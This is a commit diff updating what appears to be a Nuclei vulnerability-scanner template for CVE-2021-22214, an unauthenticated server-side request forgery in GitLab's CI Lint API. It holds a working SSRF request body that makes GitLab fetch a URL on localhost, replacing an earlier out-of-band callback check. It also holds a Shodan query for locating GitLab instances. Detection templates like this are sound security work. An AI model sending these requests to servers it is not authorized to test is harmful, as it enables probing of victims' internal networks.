Fixed CVE-2021-22214

patch-1
initstring 2022-03-04 13:04:56 +11:00
parent 6a9eca0bbf
commit ce85dd4283
1 changed files with 27 additions and 18 deletions

View File

@ -1,35 +1,44 @@
id: CVE-2021-22214
info:
author: Suman_Kar
author: Suman_Kar (modified by GitLab Red Team)
name: Unauthenticated Gitlab SSRF - CI Lint API
severity: high
description: When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is limited.
description: |
When requests to the internal network for webhooks are enabled,
a server-side request forgery vulnerability in GitLab CE/EE affecting all
versions starting from 10.5 was possible to exploit for an unauthenticated
attacker even on a GitLab instance where registration is limited.
The same vulnerability actually spans multiple CVEs, due to similar reports
that were fixed across seperate patches. These CVEs are:
- CVE-2021-39935
- CVE-2021-22214
- CVE-2021-22175
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-22214
- https://nvd.nist.gov/vuln/detail/CVE-2021-39935
- https://nvd.nist.gov/vuln/detail/CVE-2021-22175
- https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
- https://docs.gitlab.com/ee/api/lint.html
metadata:
shodan-query: http.title:"GitLab"
tags: cve,cve2021,gitlab,ssrf,oast
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.60
cve-id: CVE-2021-22214
cwe-id: CWE-918
tags: cve,cve2021,gitlab,ssrf,oast
requests:
- raw:
- |
POST /api/v4/ci/lint?include_merged_yaml=true HTTP/1.1
Host: {{Hostname}}
Referer: {{BaseURL}}
content-type: application/json
{"content": "include:\n remote: http://{{interactsh-url}}/api/v1/targets?test.yml"}
- method: POST
path:
- "{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true"
body: |
{"content": "include:\n remote: http://127.0.0.1:9100/test.yml"}
headers:
Content-Type: application/json
redirects: true
max-redirects: 3
matchers-condition: and
# Check for strictly known-vulnerable replies in the body
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
part: body
words:
- "http"
- "does not have valid YAML syntax"